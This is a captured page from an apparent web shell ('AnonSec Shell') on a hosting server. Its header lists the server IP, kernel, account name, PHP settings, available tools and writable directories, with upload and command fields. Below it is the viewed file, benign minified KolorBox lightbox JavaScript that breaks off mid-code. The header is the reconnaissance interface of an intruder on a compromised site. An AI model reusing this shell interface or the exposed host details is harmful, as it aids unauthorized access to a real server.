AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/a/w/e/awebpaca/360/mine-cap-garonne/indexdata/graphics/KolorBox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/a/w/e/awebpaca/360/mine-cap-garonne/indexdata/graphics/KolorBox/KolorBox.min.js
(function(){var g=!0,j=null,z=!1;
KolorBox=function(X,D){function Q(a){ktools.DOM.preventDefault(a);if(!(Y===g||F===g)){Z();var c=ktools.DOM.getOffset(a.currentTarget),a=a.clientX-c.x,c=jQuery(d.a.body.b).width();a<=c/2?aa("previous"):a>c/2&&aa("next")}}function q(a){ktools.DOM.preventDefault(a);if(Y!==g){var c=jQuery(d.a.body.b),e=ktools.DOM.getOffset(a.currentTarget),a=a.clientX-e.x,e=c.width();c.find(".kolorBoxBodyCenterLeftArrow").hide();c.find(".kolorBoxBodyCenterRightArrow").hide();a<=e/2?c.find(".kolorBoxBodyCenterLeftArrow").show():a>
e/2&&c.find(".kolorBoxBodyCenterRightArrow").show()}}function G(a){ktools.DOM.preventDefault(a);jQuery(d.a.body.b).unbind("mouseleave",G);jQuery(d.a.body.b).unbind("click",Q);jQuery(d.a.body.b).unbind("mousemove",q);jQuery(d.a.body.b).bind("mouseenter",H);R()}function H(a){ktools.DOM.preventDefault(a);jQuery(d.a.body.b).unbind("mouseenter",H);jQuery(d.a.body.b).bind("mouseleave",G);jQuery(d.a.body.b).bind("click",Q);jQuery(d.a.body.b).bind("mousemove",q)}function ba(){R();jQuery(d.a.body.b).unbind("mouseenter",
H);jQuery(d.a.body.b).unbind("mouseleave",G);jQuery(d.a.body.b).unbind("click",Q);jQuery(d.a.body.b).unbind("mousemove",q);jQuery(d.a.body.b).css("cursor","default")}function ca(){a.draggable_box===g&&!ktools.Device.isTouch()&&jQuery(d.a).draggable({addClasses:z,cancel:".kolorBoxBodyCenter"})}function S(){var b=jQuery(d.a.body.b),c=(b.height()-a.buttons_height)/2;b.find(".kolorBoxBodyCenterLeftArrow").css("top",c+"px");b.find(".kolorBoxBodyCenterRightArrow").css("top",c+"px");b.find(".kolorBoxBodyCenterLeftArrow").css("width",
a.buttons_height+"px");b.find(".kolorBoxBodyCenterRightArrow").css("width",a.buttons_height+"px");b.find(".kolorBoxBodyCenterLeftArrow").css("height",a.buttons_height+"px");b.find(".kolorBoxBodyCenterRightArrow").css("height",a.buttons_height+"px");b.find(".kolorBoxBodyCenterLeftArrow").css("visibility","visible");b.find(".kolorBoxBodyCenterRightArrow").css("visibility","visible")}function R(){jQuery(d.a.body.b.u).hide();jQuery(d.a.body.b.w).hide()}function n(b){var c=2*a.item_border_width,e=u[v],
h,f={width:0,height:0};switch(e.f()){case "image":f=e.z();break;case "social":f=a.social_btn.split("#");h=a.social_btn_size+2*a.inner_margin;var i=a.social_btn_size+2*a.inner_margin;"horizontal"===a.social_orientation?h*=f.length:"vertical"===a.social_orientation&&(i*=f.length);f={width:h,height:i};break;default:h=parseFloat(ktools.Url.getParam(e.e(),"width"))?ktools.Url.getParam(e.e(),"width"):a.iframe_default_width,i=parseFloat(ktools.Url.getParam(e.e(),"height"))?ktools.Url.getParam(e.e(),"height"):
a.iframe_default_height,f={width:h,height:i}}h=f;var p=i=g,f=g;if(a.container_auto_size)"iframe"===e.f()?i=z:p=z,f=z,e=da(x,C),h=E(e.width-c,e.height-c,h.width,h.height,i,p),e={width:h.width+c,height:h.height+c};else{"iframe"===e.f()&&(i=z);if("image"===e.f()||"social"===e.f())p=z;va();e=E(x,C,qa,ra,z,z);e=da(e.width,e.height);h=E(e.width-c,e.height-c,h.width,h.height,i,p)}T(e.width,e.height,b,j);U(h.width,h.height,f,e.height,b);jQuery(d.a).find(".kolorBoxBodyCenter").removeClass("loading")}function wa(){if(jQuery("#"+
D).width()!==y||jQuery("#"+D).height()!==A)na(),xa(),n(z)}function xa(){if(a.overlay_displayed===g){var b=jQuery(d.A);b.css("opacity",a.overlay_alpha);b.css("background","#"+a.overlay_color);b.css("width",y+"px");b.css("height",A+"px");b.unbind("click").bind("click",function(){ya.s()})}}function sa(){var b=jQuery(d.a),c=ktools.Color.hex2rgb(a.container_color);"Explorer"===kolorBrowserDetect.browser&&9>kolorBrowserDetect.version?b.css("background","rgb("+c[0]+","+c[1]+","+c[2]+")"):b.css("background",
"rgba("+c[0]+","+c[1]+","+c[2]+","+a.container_alpha+")");b.find(".kolorBoxBodyCenter").addClass("loading");b.css("-moz-border-radius-topleft",a.container_topleft_border_radius+"px");b.css("border-top-left-radius",a.container_topleft_border_radius+"px");b.css("-webkit-border-top-left-radius",a.container_topleft_border_radius+"px");b.css("-moz-border-radius-topright",a.container_topright_border_radius+"px");b.css("border-top-right-radius",a.container_topright_border_radius+"px");b.css("-webkit-border-top-right-radius",
a.container_topright_border_radius+"px");b.css("-moz-border-radius-bottomleft",a.container_bottomleft_border_radius+"px");b.css("border-bottom-left-radius",a.container_bottomleft_border_radius+"px");b.css("-webkit-border-bottom-left-radius",a.container_bottomleft_border_radius+"px");b.css("-moz-border-radius-bottomright",a.container_bottomright_border_radius+"px");b.css("border-bottom-right-radius",a.container_bottomright_border_radius+"px");b.css("-webkit-border-bottom-right-radius",a.container_bottomright_border_radius+
"px");b.css("border-width",a.container_border_width+"px");b.css("border-color","#"+a.container_border_color);b.css("border-style",a.container_border_style);a.title_displayed&&(b.find(".kolorBoxTitle").css("color","#"+a.title_color),b.find(".kolorBoxTitle").css("font-family",a.title_font),b.find(".kolorBoxTitle").css("font-weight",a.title_weight),b.find(".kolorBoxTitle").css("text-decoration",a.title_decoration),b.find(".kolorBoxTitle").css("font-size",a.title_size+"px"));a.caption_displayed&&(b.find(".kolorBoxCaption").css("color",
"#"+a.caption_color),b.find(".kolorBoxCaption").css("font-family",a.caption_font),b.find(".kolorBoxCaption").css("font-weight",a.caption_weight),b.find(".kolorBoxCaption").css("text-decoration",a.caption_decoration),b.find(".kolorBoxCaption").css("font-size",a.caption_size+"px"));if(a.title_displayed&&("left"==a.title_position||"right"==a.title_position))b.find(".kolorBoxTitle").css("display","block"),b.find(".kolorBoxTitle").css("text-align","left");var e=c=0;a.caption_displayed&&"header"==a.caption_position&&
(c+=a.caption_height,b.find(".kolorBoxCaption").css("height",a.caption_height+"px"));a.title_displayed&&"header"==a.title_position&&(c+=a.buttons_height,b.find(".kolorBoxTitle").css("display","block"));0<c&&(a.animate_time?b.find(".kolorBoxHeader").animate({height:c+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}):(b.find(".kolorBoxHeader").css("height",c+"px"),b.find(".kolorBoxHeader").css("visibility","visible")));a.caption_displayed&&"footer"==a.caption_position&&(e+=
a.caption_height,b.find(".kolorBoxCaption").css("height",a.caption_height+"px"));a.title_displayed&&"footer"==a.title_position&&(e+=a.buttons_height,b.find(".kolorBoxTitle").css("display","block"));0<e&&(a.animate_time?b.find(".kolorBoxFooter").animate({height:e+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}):(b.find(".kolorBoxFooter").css("height",e+"px"),b.find(".kolorBoxFooter").css("visibility","visible")))}function E(a,c,e,d,f,i){var p={},n=1;if(f===z)return{width:Math.min(a,
e),height:Math.min(c,d)};if(!(e>a||d>c)===z||i===g)n=Math.min(a/e,c/d);p.width=parseInt(e*n);p.height=parseInt(d*n);return p}function za(b,c,e){var d=0,f=0;switch(b){case KolorBox.g.W:d=a.margin_y;f=a.margin_x;break;case KolorBox.g.V:d=a.margin_y;f=(y-c)/2;break;case KolorBox.g.X:d=a.margin_y;f=y-c-a.margin_x;break;case KolorBox.g.U:d=(A-e)/2;f=y-c-a.margin_x;break;case KolorBox.g.S:d=A-e-a.margin_y;f=y-c-a.margin_x;break;case KolorBox.g.Q:d=A-e-a.margin_y;f=(y-c)/2;break;case KolorBox.g.R:d=A-e-
a.margin_y;f=a.margin_x;break;case KolorBox.g.T:d=(A-e)/2;f=a.margin_x;break;case KolorBox.g.C:d=(A-e)/2,f=(y-c)/2}return{top:d,left:f}}function Ka(a){a=ktools.String.decode(a);jQuery(d).find(".kolorBoxCaption").html(a)}function La(a){a=ktools.String.decode(a);jQuery(d).find(".kolorBoxTitle").html(a)}function Z(){ea&&(jQuery(d).find(".playPauseBtn").removeClass("pauseBtn").addClass("playBtn"),jQuery(d).find(".playPauseBtn").unbind("click").bind("click",oa),clearInterval(ea),ea=j)}function oa(){ea?
aa("next"):(jQuery(d).find(".playPauseBtn").removeClass("playBtn").addClass("pauseBtn"),jQuery(d).find(".playPauseBtn").unbind("click").bind("click",Z),ea=setInterval(oa,a.slideshow))}function aa(a){Y===g||F===g||(jQuery(d.a).find(".kolorBoxBodyCenter").addClass("loading"),"next"===a?(v=v<u.length-1?v+1:0,fa(v)):"previous"===a&&(v=0===v?u.length-1:v-1,fa(v)))}function Ma(){var b=jQuery(d.a.body.b).find(".displayedItem");0<b.length&&(a.hide_effect!==z&&F===z?(F=g,b.hide(a.hide_effect,function(){F=
z;b.remove()})):a.hide_effect===z&&b.remove())}function ga(b,c,e){d.a.body.b.appendChild(b);a.show_effect!==z&&(jQuery(b).hide(),jQuery(b).show(a.show_effect));c?ktools.Device.isTouch()&&(b=e.replace(/&amp;/g,"&"),jQuery(d.a).find(".kolorBoxBodyCenter").find(".displayedItem").attr("src",b),jQuery(d.a).find(".kolorBoxBodyCenter").find(".displayedItem").load(function(){jQuery(d.a).find(".kolorBoxBodyCenter").find(".displayedItem").css("visibility","visible");jQuery(d.a).find(".kolorBoxBodyCenter").find(".displayedItem").parent().removeClass("loading")})):
jQuery(d.a).find(".kolorBoxBodyCenter").removeClass("loading")}function Aa(a){a.H()===g&&F===z?Na(a):(clearTimeout(Ba),Ba=setTimeout(function(){Aa(a)},500))}function Ca(b,c,e,d,f,i){if(ktools.Device.isTouch()&&c){var p,c=a.iframe_devices_width?a.iframe_devices_width:a.iframe_default_width;p=a.iframe_devices_height?a.iframe_devices_height:a.iframe_default_height;if(a.force_ios_scrolling){b.css("overflow","scroll !important");b.css("-webkit-overflow-scrolling","touch !important");f?0==i?b.animate({width:c+
"px",height:p+"px",marginTop:""},a.animate_time,function(){}):b.animate({width:c+"px",height:p+"px",marginTop:i},a.animate_time,function(){}):(b.css("width",c+"px"),b.css("height",p+"px"),0==i?b.css("marginTop",""):b.css("marginTop",i+"px"));b.css("max-width",c+"px");b.css("max-height",p+"px");b.css("-webkit-transform","translate3d(0, 0, 0)");return}}f?0==i?b.animate({width:e,height:d,marginTop:""},a.animate_time,function(){}):b.animate({width:e,height:d,marginTop:i},a.animate_time,function(){}):
(b.css("width",e+"px"),b.css("height",d+"px"),0==i?b.css("marginTop",""):b.css("marginTop",i+"px"))}function U(b,c,e,h,f){var i=jQuery(d.a.body.b).find(".displayedItem"),p=0;e===g&&(p=(h-c-2*a.item_border_width)/2);Ca(i,"iframe"===u[v].f(),b,c,f,p)}function Na(b){var c=jQuery(d.a.body.b),e=b.I(),h=b.z(),f=2*a.item_border_width;e.className="displayedItem";jQuery(e).css("border-width",a.item_border_width+"px");jQuery(e).css("border-color","#"+a.item_border_color);jQuery(e).css("border-style",a.item_border_style);
a.draggable_image===g&&jQuery(e).draggable({addClasses:z,revert:g});if(a.container_auto_size===g){var b=da(x,C),i=E(b.width-f,b.height-f,h.width,h.height,g,z);T(i.width+f,i.height+f,a.animate,function(){ga(e,z,"");U(i.width,i.height,z,0,z)})}else T(c.width(),c.height(),a.animate,function(){var a=E(c.width()-f,c.height()-f,h.width,h.height,g,z);ga(e,z,"");U(a.width,a.height,g,c.height(),z);S()})}function I(b,c,e){var h=jQuery(d.a.body.b),f=2*a.item_border_width,i=parseFloat(ktools.Url.getParam(c.e(),
"width"))?ktools.Url.getParam(c.e(),"width"):a.iframe_default_width,p=parseFloat(ktools.Url.getParam(c.e(),"height"))?ktools.Url.getParam(c.e(),"height"):a.iframe_default_height,n=da(x,C),q=g;"iframe"===c.f()&&(q=z);var l=E(n.width-f,n.height-f,i,p,q,z),c=l.width+f,m=l.height+f,t=document.createElement("iframe");t.id="kolorBoxID_"+X;t.className="displayedItem";ktools.Device.isTouch()||(n=b.replace(/&amp;/g,"&"),t.setAttribute("src",n));t.setAttribute("allowfullscreen","");t.setAttribute("mozallowfullscreen",
"");t.setAttribute("webkitallowfullscreen","");t.setAttribute("frameborder","0");t.setAttribute("allowtransparency","true");t.setAttribute("style","visibility: hidden;");t.setAttribute("scrolling",a.iframe_scrolling);var u;ktools.Device.isTouch()||(u=window.setInterval(function(){if(window.frames[t.id]){window.clearInterval(u);jQuery(t).css("visibility","visible");jQuery(t).parent().removeClass("loading")}},100));jQuery(t).css("width",l.width+"px");jQuery(t).css("height",l.height+"px");Ca(jQuery(t),
g,l.width,l.height,z,0);jQuery(t).css("border-width",a.item_border_width+"px");jQuery(t).css("border-color","#"+a.item_border_color);jQuery(t).css("border-style",a.item_border_style);a.container_auto_size===g?T(c,m,a.animate,function(){ga(t,g,b);U(l.width,l.height,g,m,a.animate)}):T(h.width(),h.height(),a.animate,function(){var c=E(h.width()-f,h.height()-f,i,p,e,g);ga(t,g,b);U(c.width,c.height,g,h.height(),a.animate)})}function Oa(b){var c=b.e(),e=/(http(s)?:)?\/\/(www\.)?vimeo.com\/([\d\?\&\=\-\_\;\%\#]+)/,
e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(\w+\.)?vimeo.com\/video\/([\d\?\&\=\-\_\;\%\#]+)/,e=c.match(e);e&&e[4]&&(c="//player.vimeo.com/video/"+e[4],c=-1!=c.indexOf("?")?c+"&amp;title=0&amp;byline=0&amp;portrait=0":c+"?title=0&amp;byline=0&amp;portrait=0",a.video_autoplay&&(c+="&amp;autoplay=1"),I(c,b,a.video_keep_ratio))}function Pa(b){var c=b.e(),e=/(http(s)?:)?\/\/(www\.)?dailymotion.com\/video\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(www\.)?dai.ly\/([\w\?\&\=\-\_\;\%\#]+)/,
e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(www\.)?dailymotion.com\/embed\/video\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);e&&e[4]&&(c="http://www.dailymotion.com/embed/video/"+e[4],c=-1!=c.indexOf("?")?c+"&amp;logo=on":c+"?logo=on",a.video_autoplay&&(c+="&amp;autoPlay=1"),I(c,b,a.video_keep_ratio))}function Qa(b){var c=b.e(),e=/(http(s)?:)?\/\/(\w+\.)?viddler.com\/player\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(\w+\.)?viddler.com\/embed\/([\w\?\&\=\-\_\;\%\#]+)/,
e=c.match(e);e&&e[4]&&I("//www.viddler.com/embed/"+e[4],b,a.video_keep_ratio)}function Ra(b){var c=b.e(),e=/(http(s)?:)?\/\/(\w+\.)?wistia.com\/medias\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(\w+\.)?wistia.net\/embed\/iframe\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);e&&e[4]&&I("//fast.wistia.net/embed/iframe/"+e[4],b,a.video_keep_ratio)}function Sa(b){var c=b.e(),e=/(http(s)?:)?\/\/(www\.)?youtube.com\/watch\?v\=([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);if(e==j||""==e)e=
/(http(s)?:)?\/\/(www\.)?youtu.be\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);if(e==j||""==e)e=/(http(s)?:)?\/\/(www\.)?youtube.com\/embed\/([\w\?\&\=\-\_\;\%\#]+)/,e=c.match(e);e&&e[4]&&(c="//www.youtube.com/embed/"+e[4],c=-1!=c.indexOf("?")?c+"&amp;rel=0":c+"?rel=0",a.video_autoplay&&(c+="&amp;autoplay=1"),I(c,b,a.video_keep_ratio))}function Ta(b){var c=b.e().match(/(http:)?\/\/(www\.)?eyes.kolor.com\/([a-z]{2})\/(v|i)\/(\w+)/);I("http://eyes.kolor.com/"+c[3]+"/i/"+c[5],b,a.video_keep_ratio)}function Ua(b){var c=
a.social_btn.split("#"),e=a.social_btn_size+2*a.inner_margin,h=a.social_btn_size+2*a.inner_margin;"horizontal"===a.social_orientation?e*=c.length:"vertical"===a.social_orientation&&(h*=c.length);var f=document.createElement("div");f.className="displayedItem";f.style.width=e+"px";f.style.height=h+"px";f.style.margin="auto";f.style.borderWidth=a.item_border_width+"px";f.style.borderColor="#"+a.item_border_color;f.style.borderStyle=a.item_border_style;var i=document.location.href;""!=a.social_url&&(i=
ktools.I18N.getInstance().getMessage(a.social_url));"undefined"!==typeof b.getData()&&(i=-1!==i.indexOf("?")?i+("&"+b.getData()):i+("?"+b.getData()));var p=b="";-1==i.indexOf("?")?b=i:(b=i.substring(0,i.indexOf("?")),p=i.substring(i.indexOf("?")));i=b+encodeURIComponent(p);for(b=0;b<c.length;b++)switch(c[b]){case "facebook":f.l=document.createElement("a");f.l.className="socialButton socialFacebook";f.l.style.width=a.social_btn_size+"px";f.l.style.height=a.social_btn_size+"px";f.l.style.h=a.social_btn_size+
"px";f.l.style.margin=a.inner_margin+"px";f.l.onclick=function(a){ktools.DOM.stopEventPropagation(a);window.open("https://www.facebook.com/sharer/sharer.php?u="+i,"social","location=0,status=0,scrollbars=1,width=900,height=500")};f.appendChild(f.l);break;case "twitter":f.q=document.createElement("a");f.q.className="socialButton socialTwitter";f.q.style.width=a.social_btn_size+"px";f.q.style.height=a.social_btn_size+"px";f.q.style.h=a.social_btn_size+"px";f.q.style.margin=a.inner_margin+"px";f.q.onclick=
function(a){ktools.DOM.stopEventPropagation(a);window.open("https://twitter.com/share?url="+i,"social","location=0,status=0,scrollbars=1,width=900,height=500")};f.appendChild(f.q);break;case "google":f.m=document.createElement("a");f.m.className="socialButton socialGoogle";f.m.style.width=a.social_btn_size+"px";f.m.style.height=a.social_btn_size+"px";f.m.style.h=a.social_btn_size+"px";f.m.style.margin=a.inner_margin+"px";f.m.onclick=function(a){ktools.DOM.stopEventPropagation(a);window.open("https://plus.google.com/share?url="+
i,"social","location=0,status=0,scrollbars=1,width=900,height=500")};f.appendChild(f.m);break;case "linkedin":f.n=document.createElement("a");f.n.className="socialButton socialLinkedin";f.n.style.width=a.social_btn_size+"px";f.n.style.height=a.social_btn_size+"px";f.n.style.h=a.social_btn_size+"px";f.n.style.margin=a.inner_margin+"px";f.n.onclick=function(a){ktools.DOM.stopEventPropagation(a);window.open("http://www.linkedin.com/shareArticle?mini=true&ro=true&url="+i,"social","location=0,status=0,scrollbars=1,width=900,height=500")};
f.appendChild(f.n);break;case "email":f.i=document.createElement("a"),f.i.className="socialButton socialMail",f.i.style.width=a.social_btn_size+"px",f.i.style.height=a.social_btn_size+"px",f.i.style.h=a.social_btn_size+"px",f.i.style.margin=a.inner_margin+"px",f.i.onclick=function(a){ktools.DOM.stopEventPropagation(a)},f.i.href="mailto:?body="+i,f.appendChild(f.i)}var n=jQuery(d.a.body.b),c=2*a.item_border_width;T(e+c,h+c,a.animate,function(){ga(f,z,"");U(e,h,z,n.height(),a.animate)})}function fa(b){var c=
u.length;if(b>c-1)throw"loadItem : itemIndex out of range";var e=u[b];"image"!==e.f()?ba():e.v();var h=b-1;0>h&&(h=c-1);h=u[h];"image"===h.f()&&h.v();h=b+1;h>c-1&&(h=0);h=u[h];"image"===h.f()&&h.v();Ma();if(F===g)setTimeout(function(){fa(b)},500);else{switch(e.f()){case "image":a.navigation_arrows&&(jQuery(d.a.body.b).bind("mouseenter",H),jQuery(d.a.body.b).css("cursor","pointer"));Aa(e);break;case "koloreyes":Ta(e);break;case "youtube":Sa(e);break;case "wistia":Ra(e);break;case "viddler":Qa(e);break;
case "dailymotion":Pa(e);break;case "vimeo":Oa(e);break;case "iframe":I(e.e().substr(0,e.e().indexOf("iframe")-1),e,z);break;case "social":Ua(e)}1>=c&&ba();La(e.J());Ka(e.G());jQuery(d).find(".counterSpan").html(v+1+" "+a.counter_separator_label+" "+u.length)}}function T(b,c,e,h){var f=jQuery(d.a),i=jQuery(d.a.body),p=jQuery(d.a.body.left),n=jQuery(d.a.body.b),q=jQuery(d.a.body.right),l=2*a.external_padding+2*a.container_border_width,m=Da(b,c),t=za(a.position,m.width,m.height),u=(c-a.buttons_height)/
2,k=0,o=0,v=0,r=0,s=0;0<jQuery(d.a.d).length&&(k=J+K+L,o=J,v=K,r=L,kbExtraUIPlaceholderTopLeftSize=K+L,s=J+L,kbExtraUIPlaceholderTopRightSize=J+K);var y=0,w=0,A=0,x=0,B=0;0<jQuery(d.a.c).length&&(y=M+N+O,w=M,A=N,x=O,kbExtraUIPlaceholderBottomLeftSize=N+O,B=M+O,kbExtraUIPlaceholderBottomRightSize=M+N);if(e===g){if(Y=g,i.animate({height:c},a.animate_time),p.animate({height:c},a.animate_time,function(){jQuery(this).css("visibility","visible")}),n.animate({width:b,height:c},a.animate_time),q.animate({height:c},
a.animate_time,function(){jQuery(this).css("visibility","visible")}),n.find(".kolorBoxBodyCenterLeftArrow").animate({top:u},a.animate_time),n.find(".kolorBoxBodyCenterRightArrow").animate({top:u},a.animate_time),f.animate({width:m.width-l,height:m.height-l,top:t.top,left:t.left},a.animate_time,function(){Y=z;h&&h()}),0<jQuery(d.a.d).length&&(e=jQuery(d.a.d.o),i=jQuery(d.a.d.top),p=jQuery(d.a.d.p),a.title_displayed===g&&"top"===a.title_position.substring(0,3)?(b=f.find(".kolorBoxTitle"),c=f.find(".kolorBoxTitle").parent(),
c.hasClass("centerUIPlaceHolder")?(b.animate({width:m.width-l-k+"px",maxWidth:a.iframe_default_width+"px"},a.animate_time),b.css("text-align","center"),e.animate({width:o+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.animate({width:m.width-l-s+"px",left:o+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),p.animate({width:r+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})):c.hasClass("leftUIPlaceHolder")?
(0<i.length?(k=(m.width-l-s)/2-v/2,b.animate({width:k+"px"},a.animate_time),b.css("text-align","left"),e.animate({width:o+k+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.animate({width:m.width-l-s-k+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.css("text-align","left")):(k=m.width-l-k,b.animate({width:k+"px"},a.animate_time),b.css("text-align","left"),e.animate({width:o+k+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility",
"visible")}),i.animate({width:m.width-l-s-k+"px",left:o+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})),p.animate({width:r+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})):c.hasClass("rightUIPlaceHolder")&&(0<i.length?(k=(m.width-l-s)/2-v/2,b.animate({width:k+"px"},a.animate_time),b.css("text-align","right"),e.animate({width:o+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.animate({width:m.width-
l-s-k+"px",left:o+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.css("text-align","right")):(k=m.width-l-k,b.animate({width:k+"px"},a.animate_time),b.css("text-align","right"),e.animate({width:o+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.animate({width:m.width-l-s-k+"px",left:o+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})),p.animate({width:r+k+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility",
"visible")}))):(e.animate({width:o+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),i.animate({width:m.width-l-s+"px",left:o+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),p.animate({width:r+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}))),0<jQuery(d.a.c).length)o=jQuery(d.a.c.j),r=jQuery(d.a.c.bottom),s=jQuery(d.a.c.k),a.title_displayed===g&&"bottom"===a.title_position.substring(0,6)?(b=f.find(".kolorBoxTitle"),
c=f.find(".kolorBoxTitle").parent(),c.hasClass("centerUIPlaceHolder")?(b.animate({width:m.width-l-y+"px",maxWidth:a.iframe_default_width+"px"},a.animate_time),b.css("text-align","center"),o.animate({width:w+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.animate({width:m.width-l-B+"px",left:w+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),s.animate({width:x+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility",
"visible")})):c.hasClass("leftUIPlaceHolder")?(0<r.length?(k=(m.width-l-B)/2-A/2,b.animate({width:k+"px"},a.animate_time),b.css("text-align","left"),o.animate({width:w+k+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.animate({width:m.width-l-B-k+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.css("text-align","left")):(k=m.width-l-y,b.animate({width:k+"px"},a.animate_time),b.css("text-align","left"),o.animate({width:w+k+"px",left:"0px"},
a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.animate({width:m.width-l-B-k+"px",left:w+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})),s.animate({width:x+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})):(0<r.length?(k=(m.width-l-B)/2-A/2,b.animate({width:k+"px"},a.animate_time),b.css("text-align","right"),o.animate({width:w+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),
r.animate({width:m.width-l-B-k+"px",left:w+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.css("text-align","right")):(k=m.width-l-y,b.animate({width:k+"px"},a.animate_time),b.css("text-align","right"),o.animate({width:w+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.animate({width:m.width-l-B-k+"px",left:w+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")})),s.animate({width:x+k+"px",right:"0px"},a.animate_time,
function(){jQuery(this).css("visibility","visible")}))):(o.animate({width:w+"px",left:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),r.animate({width:m.width-l-B+"px",left:w+"px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}),s.animate({width:x+"px",right:"0px"},a.animate_time,function(){jQuery(this).css("visibility","visible")}))}else i.css("height",c+"px"),p.css("height",c+"px"),p.css("visibility","visible"),n.css("width",b+"px"),n.css("height",
c+"px"),q.css("height",c+"px"),q.css("visibility","visible"),f.css("width",m.width-l+"px"),f.css("height",m.height-l+"px"),f.css("top",t.top+"px"),f.css("left",t.left+"px"),0<jQuery(d.a.d).length&&(e=jQuery(d.a.d.o),i=jQuery(d.a.d.top),p=jQuery(d.a.d.p),a.title_displayed===g&&"top"===a.title_position.substring(0,3)?(b=f.find(".kolorBoxTitle"),c=f.find(".kolorBoxTitle").parent(),c.hasClass("centerUIPlaceHolder")?(b.css("width",m.width-l-k+"px"),b.css("max-width",a.iframe_default_width+"px"),b.css("text-align",
"center"),e.css("width",o+"px"),e.css("left","0px"),i.css("width",m.width-l-s+"px"),i.css("left",o+"px"),p.css("width",r+"px")):c.hasClass("leftUIPlaceHolder")?(0<i.length?(k=(m.width-l-s)/2-v/2,b.css("width",k+"px"),b.css("text-align","left"),e.css("width",o+k+"px"),e.css("left","0px"),i.css("width",m.width-l-s-k+"px"),i.css("text-align","left")):(k=m.width-l-k,b.css("width",k+"px"),b.css("text-align","left"),e.css("width",o+k+"px"),e.css("left","0px"),i.css("width",m.width-l-s-k+"px"),i.css("left",
o+"px")),p.css("width",r+"px")):(0<i.length?(k=(m.width-l-s)/2-v/2,b.css("width",k+"px"),b.css("text-align","right"),e.css("width",o+"px"),e.css("left","0px"),i.css("width",m.width-l-s-k+"px"),i.css("left",o+"px"),i.css("text-align","right")):(k=m.width-l-k,b.css("width",k+"px"),b.css("text-align","right"),e.css("width",o+"px"),e.css("left","0px"),i.css("width",m.width-l-s-k+"px"),i.css("left",o+"px")),p.css("width",r+k+"px"))):(e.css("width",o+"px"),e.css("left","0px"),i.css("width",m.width-l-s+
"px"),i.css("left",o+"px"),p.css("width",r+"px")),p.css("right","0px"),e.css("visibility","visible"),i.css("visibility","visible"),p.css("visibility","visible")),0<jQuery(d.a.c).length&&(o=jQuery(d.a.c.j),r=jQuery(d.a.c.bottom),s=jQuery(d.a.c.k),a.title_displayed===g&&"bottom"===a.title_position.substring(0,6)?(b=f.find(".kolorBoxTitle"),c=f.find(".kolorBoxTitle").parent(),c.hasClass("centerUIPlaceHolder")?(b.css("width",m.width-l-y+"px"),b.css("maxWidth",a.iframe_default_width+"px"),b.css("text-align",
"center"),o.css("width",w+"px"),o.css("left","0px"),r.css("width",m.width-l-B+"px"),r.css("left",w+"px"),s.css("width",x+"px")):c.hasClass("leftUIPlaceHolder")?(0<r.length?(k=(m.width-l-B)/2-A/2,b.css("width",k+"px"),b.css("text-align","left"),o.css("width",w+k+"px"),o.css("left","0px"),r.css("width",m.width-l-B-k+"px"),r.css("text-align","left")):(k=m.width-l-y,b.css("width",k+"px"),b.css("text-align","left"),o.css("width",w+k+"px"),o.css("left","0px"),r.css("width",m.width-l-B-k+"px"),r.css("left",
